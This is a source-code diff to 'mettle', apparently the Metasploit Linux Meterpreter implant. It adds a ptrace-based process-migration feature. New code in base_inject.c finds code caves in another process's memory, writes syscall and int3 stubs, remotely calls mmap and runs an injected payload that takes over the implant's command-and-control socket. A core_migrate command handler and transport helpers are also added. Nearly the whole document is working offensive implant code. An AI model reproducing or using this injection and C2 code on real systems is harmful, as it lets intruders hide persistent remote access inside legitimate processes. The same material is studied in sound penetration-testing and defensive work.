diff --git a/mettle/src/Makefile.am b/mettle/src/Makefile.am index 76cd18a8..aad03638 100644 --- a/mettle/src/Makefile.am +++ b/mettle/src/Makefile.am @@ -44,6 +44,7 @@ libmettle_la_SOURCES += ringbuf.c libmettle_la_SOURCES += sha1.c libmettle_la_SOURCES += tlv.c libmettle_la_SOURCES += stdapi/stdapi.c +libmettle_la_SOURCES += base_inject.c if HOST_WIN libmettle_la_SOURCES += console-unsupported.c libmettle_la_SOURCES += inet_ntop.c inet_pton.c diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c new file mode 100644 index 00000000..d90ff87a --- /dev/null +++ b/mettle/src/base_inject.c @@ -0,0 +1,407 @@ +#include "base_inject.h" + +int is_root() +{ + return getuid() == 0; +} + +int get_yama_ptrace_scope() +{ + char * ptrace_scope_path = "/proc/sys/kernel/yama/ptrace_scope"; + char ptrace_scope_value = 0; + FILE * ptrace_scope_handler = fopen(ptrace_scope_path, "r"); + + if(ptrace_scope_handler == NULL) + { + return -1; + } + + fscanf(ptrace_scope_handler, "%c", &ptrace_scope_value); + fclose(ptrace_scope_handler); + + return ptrace_scope_value - '0'; +} + +int migrate_support() +{ + char yama_scope = get_yama_ptrace_scope(); + + if(yama_scope == 0) + { + return 1; + } + + if(yama_scope == 1 || yama_scope == 2) + { + if(is_root()) + return 1; + else + return 0; + } + + return 0; +} + +char *get_permissions_from_line(char *line) { + + int first_space = -1; + int second_space = -1; + for (size_t i = 0; i < strlen(line); i++) { + if (line[i] == ' ' && first_space == -1) { + first_space = i + 1; + } + else if (line[i] == ' ' && first_space != -1) { + second_space = i; + break; + } + } + + if (first_space != -1 && second_space != -1 && second_space > first_space) { + char *permissions = malloc(second_space - first_space + 1); + if (permissions == NULL) { + return NULL; + } + for (size_t i = first_space, j = 0; i < (size_t)second_space; i++, j++) { + permissions[j] = line[i]; + } + permissions[second_space - first_space] = '\0'; + return permissions; + } + return NULL; + + } + + +long get_end_address_from_maps_line(char *line) { + + char *start_address = strchr(line, '-') + 1; + char *address_line = malloc(SIZE_OF_ADDRESS + 1); + memset(address_line, 0, SIZE_OF_ADDRESS + 1); + memcpy(address_line, start_address, SIZE_OF_ADDRESS); + long address = strtol(address_line, (char **) NULL, 16); + free(address_line); + return address; +} + + +long get_start_address_from_maps_line(char *line) { + + char *address_line = malloc(SIZE_OF_ADDRESS + 1); + memset(address_line, 0, SIZE_OF_ADDRESS + 1); + memcpy(address_line, line, SIZE_OF_ADDRESS); + long address = strtol(address_line, (char **) NULL, 16); + free(address_line); + return address; +} + + +void get_process_writable_sections(int pid, writable_section_ptr process_sections) +{ + + FILE * maps_handler; + char * line = NULL; + size_t len = 0; + int section_count = 0; + char pid_str[5]; + char maps_file_path[8192]; + + SIGAR_PROC_FILENAME(maps_file_path, pid, "/maps"); + + maps_handler = fopen(maps_file_path, "r"); + + char * permissions; + long start_address; + long end_address; + + process_sections->pid = pid; + + while(getline(&line,&len, maps_handler) != -1) + { + permissions = get_permissions_from_line(line); + + char * permission = permissions; + while(*permission != 0) + { + char permission_char = *permission; + if(permission_char == 0x78) + break; + permission++; + } + + if(*permission == 0) + { + free(permissions); + continue; + } + + free(permissions); + + start_address = get_start_address_from_maps_line(line); + end_address = get_end_address_from_maps_line(line); + + process_sections->sections[section_count].start_address = start_address; + process_sections->sections[section_count++].end_address = end_address; + + if(section_count >= 255) + break; + + } + + fclose(maps_handler); + +} + + +unsigned long find_codecave(int pid, int cave_size, writable_section_ptr process_sections) +{ + char * mem_data = NULL; + FILE * mem_handler = NULL; + int current_cave_size = 0; + char mem_file_path[8192]; + + if(process_sections->pid == 0) + { + get_process_writable_sections(pid, process_sections); + } + + SIGAR_PROC_FILENAME(mem_file_path, pid, "/mem"); + + mem_handler = fopen(mem_file_path, "r"); + + for(int i = 0; i < 255; i++) + { + long section_start = process_sections->sections[i].start_address; + long section_end = process_sections->sections[i].end_address; + + fseek(mem_handler, section_start, SEEK_SET); + + long section_size = section_end - section_start; + + mem_data = malloc(sizeof(char)*(int)(section_end-section_start)); + + fread(mem_data,sizeof(char), (int)(section_end-section_start), mem_handler); + + current_cave_size = 0; + + for(char * mem_byte = mem_data; mem_byte < mem_data + (section_end-section_start); mem_byte++) + { + + if(*mem_byte != 0x00) + { + current_cave_size = 0; + continue; + } + if(current_cave_size == cave_size) + { + + free(mem_data); + fclose(mem_handler); + return section_start + ((unsigned long)mem_byte - (unsigned long)mem_data) - cave_size; + } + + current_cave_size++; + } + + free(mem_data); + } + + fclose(mem_handler); + return 0; +} + +int remote_write(int pid, long address, char * data, size_t data_length) +{ + int status = 0; + + kill(pid, SIGSTOP); + + waitpid(pid, NULL, 0); + + for(size_t i = 0; i < data_length; i+=sizeof(long)) + { + long data_chunk = 0; + memcpy(&data_chunk, data + i, sizeof(long)); + if( ptrace(PTRACE_POKETEXT, pid, address + i, data_chunk) != 0) + { + kill(pid, SIGCONT); + waitpid(pid, NULL, 0); + return 0; + } + } + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + return 1; +} + + + +int remote_mmap(int pid, long mmap_stub, long length, long prot, long flags, long fd, long offset, long * mmaped_address) +{ + int status; + struct user_regs_struct saved_regs = { 0 }; + struct user_regs_struct regs = { 0 }; + + kill(pid, SIGSTOP); + + waitpid(pid, NULL, 0); + + ptrace(PTRACE_GETREGS, pid, NULL, &saved_regs); + +#if defined(__x86_64__) + regs.rip = mmap_stub; + regs.rax = 9; + regs.rdi = 0; + regs.rsi = length; + regs.rdx = prot; + regs.r10 = flags; + regs.r8 = fd; + regs.rsp = saved_regs.rsp+0x100; + regs.rbp = saved_regs.rbp; +#elif defined(__i386__) + regs.eip = mmap_stub; + regs.eax = 192; // sys_mmap2 + regs.ebx = 0; // addr (NULL) + regs.ecx = length; + regs.edx = prot; + regs.esi = flags; + regs.edi = fd; + regs.ebp = offset / 4096; // mmap2 offset is in 4096-byte pages + regs.esp = saved_regs.esp + 0x100; +#endif + + ptrace(PTRACE_SETREGS, pid, NULL, ®s); + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + wait(&status); + + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) + { + ptrace(PTRACE_GETREGS, pid, NULL, ®s); +#if defined(__x86_64__) + *mmaped_address = regs.rax; +#elif defined(__i386__) + *mmaped_address = regs.eax; +#endif + + ptrace(PTRACE_SETREGS, pid, NULL, &saved_regs); + ptrace(PTRACE_CONT, pid, NULL, NULL); + return 1; + } + + return 0; +} + +long remote_allocate(int pid, size_t size, writable_section_ptr process_sections) +{ + long codecave_address = 0; + long mmaped_address = 0; + + codecave_address = find_codecave(pid, sizeof(DO_SYSCALL), process_sections); + + if(codecave_address == 0) + return 0; + + if(remote_write(pid, codecave_address, DO_SYSCALL, sizeof(DO_SYSCALL)) == 0) + return 0; + + if(remote_mmap(pid, codecave_address, size, 0x6, 0x22, -1, 0, &mmaped_address) == 0) + return 0; + + return mmaped_address; + +} + +int remote_call_payload(int pid, long payload_address, long stub_address, int fd) +{ + int status = 0; + struct user_regs_struct saved_regs = { 0 }; + struct user_regs_struct regs = { 0 }; + + kill(pid, SIGSTOP); + waitpid(pid, NULL, 0); + + if(ptrace(PTRACE_GETREGS, pid, NULL, &saved_regs) != 0) + { + ptrace(PTRACE_CONT, pid, NULL, NULL); + return 0; + } + + +#if defined(__x86_64__) + regs.rip = stub_address; + regs.rsp = saved_regs.rsp+0x100; + regs.rbp = saved_regs.rbp; + regs.rax = payload_address; + regs.rbx = getpid(); + regs.rcx = fd; +#elif defined(__i386__) + regs.eip = stub_address; + regs.esp = saved_regs.esp + 0x100; + regs.ebp = saved_regs.ebp; + regs.eax = payload_address; // payload mmap base + regs.ebx = getpid(); // current pid (for pidfd_open in child) + regs.ecx = fd; // socket fd (for pidfd_getfd in child) +#endif + + ptrace(PTRACE_SETREGS, pid, NULL, ®s); + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + wait(&status); + + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) + { + ptrace(PTRACE_SETREGS, pid, NULL, &saved_regs); + ptrace(PTRACE_CONT, pid, NULL, NULL); + return 1; + } + + return 0; +} + +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid, int fd) +{ + struct user_regs_struct regs; + long payload_address = 0; + long migrate_stub_address = 0; + + writable_section_t process_sections = { 0 }; + + ptrace(PTRACE_ATTACH, pid, NULL, NULL); + waitpid(pid, NULL, 0); + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + payload_address = remote_allocate(pid, payload_length, &process_sections); + migrate_stub_address = remote_allocate(pid, migrate_stub_length, &process_sections); + + if(payload_address == 0 || migrate_stub_address == 0) + { + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + if(remote_write(pid, payload_address, payload, payload_length) == 0 || remote_write(pid, migrate_stub_address, migrate_stub, migrate_stub_length) == 0) + { + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + + if( remote_call_payload(pid, payload_address, migrate_stub_address,fd) == 0) + { + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + kill(pid, SIGSTOP); + waitpid(pid, NULL, 0); + if(ptrace(PTRACE_DETACH, pid, NULL, NULL) != 0) + { + return 0; + } + + return 1; +} diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h new file mode 100644 index 00000000..c17aa9f5 --- /dev/null +++ b/mettle/src/base_inject.h @@ -0,0 +1,45 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#define SIZE_OF_ADDRESS 32 +#define SIGAR_PROC_FILENAME(buffer, pid, fname) \ + sigar_proc_filename(buffer, sizeof(buffer), \ + pid, fname, SSTRLEN(fname)) + +// SYSCALL/INT3 stub: triggers the syscall then stops for ptrace to read result +#if defined(__x86_64__) +#define DO_SYSCALL "\x0f\x05\xcc" // syscall; int3 +#elif defined(__i386__) +#define DO_SYSCALL "\xcd\x80\xcc" // int 0x80; int3 +#endif + +typedef struct process_section { + unsigned long start_address; + unsigned long end_address; +} process_section_t, *process_section_ptr; + +typedef struct writable_section { + int pid; + process_section_t sections[255]; +} writable_section_t, *writable_section_ptr; + +int migrate_support(); + +int is_root(); + +int get_yama_ptrace_scope(); + +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid, int fd); + diff --git a/mettle/src/bufferev.c b/mettle/src/bufferev.c index 38e160c4..bbe195b3 100644 --- a/mettle/src/bufferev.c +++ b/mettle/src/bufferev.c @@ -57,6 +57,15 @@ void bufferev_set_cbs(struct bufferev *be, be->cb_arg = cb_arg; } +int bufferev_get_socket_fd(struct bufferev *be) +{ + if (be == NULL) { + return -1; + } + return be->sock; +} + + struct buffer_queue * bufferev_rx_queue(struct bufferev *be) { return be->rx_queue; diff --git a/mettle/src/bufferev.h b/mettle/src/bufferev.h index 164ea9f3..73c5a23d 100644 --- a/mettle/src/bufferev.h +++ b/mettle/src/bufferev.h @@ -24,6 +24,8 @@ struct bufferev * bufferev_new(struct ev_loop *loop); int bufferev_connect_tcp_sock(struct bufferev *be, int sock); +int bufferev_get_socket_fd(struct bufferev *be); + int bufferev_connect_addrinfo(struct bufferev *be, struct addrinfo *src_addr, struct addrinfo *dst_addr, float timeout_s); diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 85afef63..be802e91 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -57,6 +57,12 @@ struct c2 { void *cb_arg; }; +int c2_get_fd(struct c2 *c2) +{ + struct tcp_ctx *ctx = (struct tcp_ctx*)(c2_transport_get_ctx(c2->curr_transport)); + return 1; +} + int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport_cbs *cbs) @@ -115,6 +121,10 @@ c2_remove_transports(struct c2 *c2) return 0; } +struct c2_transport* c2_get_next_transport(struct c2_transport *t){ + return t->next; +} + int c2_add_transport_uri(struct c2 *c2, const char *uri) { struct c2_transport *t = NULL; @@ -177,6 +187,17 @@ static void transport_tx(struct c2 *c2) } } +int c2_transport_egress_pending(struct c2 *c2) +{ + struct c2_transport *t = c2->curr_transport; + + if (strcmp(c2_get_proto(t), "tcp") == 0 || strcmp(c2_get_proto(t), "fd") == 0) { + return 0; + } + + return http_transport_egress_pending(t); +} + ssize_t c2_read(struct c2 *c2, void *buf, size_t buflen) { return buffer_queue_remove(c2->ingress, buf, buflen); @@ -295,6 +316,16 @@ const char * c2_transport_uri(struct c2_transport *t) return t->uri; } +void c2_transport_set_uri(struct c2_transport *t, const char *uri) +{ + free(t->uri); + t->uri = strdup(uri); + t->dest = strstr(t->uri, "://"); + if (t->dest) { + t->dest += 3; + } +} + const char * c2_transport_dest(struct c2_transport *t) { return t->dest; @@ -310,6 +341,15 @@ void * c2_transport_get_ctx(struct c2_transport *t) return t->ctx; } +struct c2_transport_type * c2_get_transport_type(struct c2_transport *t) +{ + return t->type; +} + +char * c2_get_proto(struct c2_transport *t){ + return t->type->proto; +} + void c2_transport_set_ctx(struct c2_transport *t, void *ctx) { t->ctx = ctx; diff --git a/mettle/src/c2.h b/mettle/src/c2.h index d2e42211..3933b4cf 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -21,6 +21,7 @@ int c2_close(struct c2 *c2); void c2_free(struct c2 *c2); + #define C2_REACHABLE 0x01 typedef void (*c2_data_cb)(struct c2 *c2, void *arg); @@ -53,12 +54,18 @@ struct c2_transport_cbs { void (*free)(struct c2_transport *t); }; + + int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport_cbs *cbs); struct c2_transport* c2_get_current_transport(struct c2 *c2); +struct c2_transport* c2_get_next_transport(struct c2_transport *t); const char * c2_transport_uri(struct c2_transport *t); +void c2_transport_set_uri(struct c2_transport *t, const char *uri); +const char * c2_transport_ua(struct c2_transport *t); +const char * c2_transport_args(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); struct ev_loop * c2_transport_loop(struct c2_transport *loop); @@ -71,4 +78,10 @@ void c2_transport_unreachable(struct c2_transport *t); void c2_transport_ingress_buf(struct c2_transport *t, void *buf, size_t buflen); void c2_transport_ingress_queue(struct c2_transport *t, struct buffer_queue *src); +int c2_transport_get_socket_fd(struct c2_transport *t); + +int c2_transport_egress_pending(struct c2 *c2); + +struct c2_transport_type * c2_get_transport_type(struct c2_transport *t); +char * c2_get_proto(struct c2_transport *t); #endif diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index a6b95d8f..1819da77 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -27,6 +27,12 @@ struct http_ctx { bool online; }; +int http_transport_egress_pending(struct c2_transport *t) +{ + struct http_ctx *ctx = c2_transport_get_ctx(t); + return buffer_queue_len(ctx->egress) > 0; +} + static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) { struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); @@ -50,6 +56,7 @@ static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) } if (asprintf(&ctx->uri, "%s%s", ctx->uri, new_uri) > 0) { free(old_uri); + c2_transport_set_uri(ctx->t, ctx->uri); } } } diff --git a/mettle/src/c2_tcp.c b/mettle/src/c2_tcp.c index 5f2e28d3..71d66681 100644 --- a/mettle/src/c2_tcp.c +++ b/mettle/src/c2_tcp.c @@ -16,6 +16,20 @@ struct tcp_ctx { int first_packet; }; + +int c2_transport_get_socket_fd(struct c2_transport *t) +{ + + if (t == NULL || ( strcmp(c2_get_proto(t),"tcp") && strcmp(c2_get_proto(t),"fd") )) { + return -1; + } + struct tcp_ctx *ctx = (struct tcp_ctx *)c2_transport_get_ctx(t); + if (ctx == NULL || ctx->nc == NULL) { + return -1; + } + return network_client_get_socket_fd(ctx->nc); +} + static void tcp_read_cb(struct bufferev *be, void *arg) { struct c2_transport *t = arg; diff --git a/mettle/src/c2_transports.h b/mettle/src/c2_transports.h index 80a3fd23..ae2f16bd 100644 --- a/mettle/src/c2_transports.h +++ b/mettle/src/c2_transports.h @@ -10,4 +10,6 @@ void c2_register_http_transports(struct c2 *c2); void c2_register_tcp_transports(struct c2 *c2); +int http_transport_egress_pending(struct c2_transport *t); + #endif diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index e018e6a2..9fdb10d6 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -3,13 +3,16 @@ * @brief Core API calls * @file tlv_coreapi.c */ - #include "crypttlv.h" #include "log.h" #include "tlv.h" #include "command_ids.h" #include "extensions.h" #include "util-common.h" +#include "bufferev.h" +#include "network_client.h" +#include "c2.h" +#include "base_inject.h" #include #include @@ -17,6 +20,79 @@ #include #include + +static void migrate_break_cb(struct ev_loop *loop, ev_timer *w, int revents) +{ + struct mettle *m = w->data; + struct c2 *c2 = mettle_get_c2(m); + + while(c2_transport_egress_pending(c2)){}; + + free(w); + ev_break(loop, EVBREAK_ALL); +} + +static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) +{ + + uint32_t pid; + uint32_t destination_arch; + size_t payload_length, uuid_length, stub_length; + + struct mettle *m = ctx->arg; + struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); + +#if defined(__x86_64__) || defined(__i386__) + if(migrate_support()) + { + tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); + tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); + + char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); + + // payload cannot be NULL + if (!payload || payload_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); + + char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); + + // stub cannot be NULL + if (!migrate_stub || stub_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + struct c2 *c2 = mettle_get_c2(m); + struct c2_transport * transport = c2_get_current_transport(c2); + int fd = c2_transport_get_socket_fd(transport); + + if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd)) + { + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + + /* + * The TCP response is sent faster than HTTP response, so we need to make sure that the Mettle is killed after the response is sent. + */ + ev_timer *break_timer = malloc(sizeof(ev_timer)); + if (break_timer) { + break_timer->data = m; + ev_timer_init(break_timer, migrate_break_cb, 0.5, 0); + ev_timer_start(mettle_get_loop(m), break_timer); + } else { + // I guess the mettle dies + ev_break(mettle_get_loop(m), EVBREAK_ALL); + } + return p; + } + } +#endif + + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + return p; +} + + static void add_command_id(uint32_t command_id, void *arg) { struct tlv_packet **p = arg; @@ -219,6 +295,28 @@ static struct tlv_packet *core_loadlib(struct tlv_handler_ctx *ctx) return p; } +static struct tlv_packet *core_transport_list(struct tlv_handler_ctx *ctx) +{ + struct mettle *m = ctx->arg; + struct c2 *c2 = mettle_get_c2(m); + struct c2_transport * transport = c2_get_current_transport(c2); + struct c2_transport * current_transport = c2_get_current_transport(c2); + + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + + do { + struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0); + packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport)); + + if (packet_group) { + p = tlv_packet_add_child(p, packet_group); + } + current_transport = c2_get_next_transport(current_transport); + } while(current_transport != transport); + + return p; +} + void tlv_register_coreapi(struct mettle *m) { struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); @@ -226,9 +324,11 @@ void tlv_register_coreapi(struct mettle *m) tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_ENUMEXTCMD, core_enumextcmd, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_MACHINE_ID, core_machine_id, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_SET_UUID, core_set_uuid, m); + tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_MIGRATE, core_migrate, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_GET_SESSION_GUID, core_get_session_guid, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_SET_SESSION_GUID, core_set_session_guid, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION, core_negotiate_tlv_encryption, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_LOADLIB, core_loadlib, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_SHUTDOWN, core_shutdown, m); + tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_TRANSPORT_LIST, core_transport_list, m); } diff --git a/mettle/src/network_client.c b/mettle/src/network_client.c index 6273a72f..74c52ccc 100644 --- a/mettle/src/network_client.c +++ b/mettle/src/network_client.c @@ -87,6 +87,22 @@ void server_free(struct network_client_server *srv) memset(srv, 0, sizeof(*srv)); } +struct bufferev * network_client_get_bufferev(struct network_client *nc) +{ + if (nc == NULL) { + return NULL; + } + return nc->be; +} + +int network_client_get_socket_fd(struct network_client *nc) +{ + if (nc == NULL || nc->be == NULL) { + return -1; + } + return bufferev_get_socket_fd(nc->be); +} + int server_init(struct network_client_server *srv, const char *uri) { int rc = -1; diff --git a/mettle/src/network_client.h b/mettle/src/network_client.h index 1fdd894c..f4a2c91c 100644 --- a/mettle/src/network_client.h +++ b/mettle/src/network_client.h @@ -13,6 +13,10 @@ struct network_client; struct network_client * network_client_new(struct ev_loop *loop); +struct bufferev * network_client_get_bufferev(struct network_client *nc); + +int network_client_get_socket_fd(struct network_client *nc); + void network_client_set_src(struct network_client *nc, const char *addr, uint16_t port); int network_client_add_uri(struct network_client *nc, const char *uri); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c54ebf57..15115bb4 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -78,6 +78,9 @@ #define TLV_TYPE_TARGET_PATH (TLV_META_TYPE_STRING | 401) #define TLV_TYPE_MIGRATE_PID (TLV_META_TYPE_UINT | 402) #define TLV_TYPE_MIGRATE_LEN (TLV_META_TYPE_UINT | 403) +#define TLV_TYPE_MIGRATE_PAYLOAD (TLV_META_TYPE_RAW | 404) +#define TLV_TYPE_MIGRATE_ARCH (TLV_META_TYPE_UINT | 405) +#define TLV_TYPE_MIGRATE_STUB (TLV_META_TYPE_RAW | 411) #define TLV_TYPE_TRANS_TYPE (TLV_META_TYPE_UINT | 430) #define TLV_TYPE_TRANS_URL (TLV_META_TYPE_STRING | 431) @@ -90,7 +93,7 @@ #define TLV_TYPE_TRANS_PROXY_PASS (TLV_META_TYPE_STRING | 438) #define TLV_TYPE_TRANS_RETRY_TOTAL (TLV_META_TYPE_UINT | 439) #define TLV_TYPE_TRANS_RETRY_WAIT (TLV_META_TYPE_UINT | 440) -#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 441) +#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 442) #define TLV_TYPE_MACHINE_ID (TLV_META_TYPE_STRING | 460) #define TLV_TYPE_UUID (TLV_META_TYPE_RAW | 461)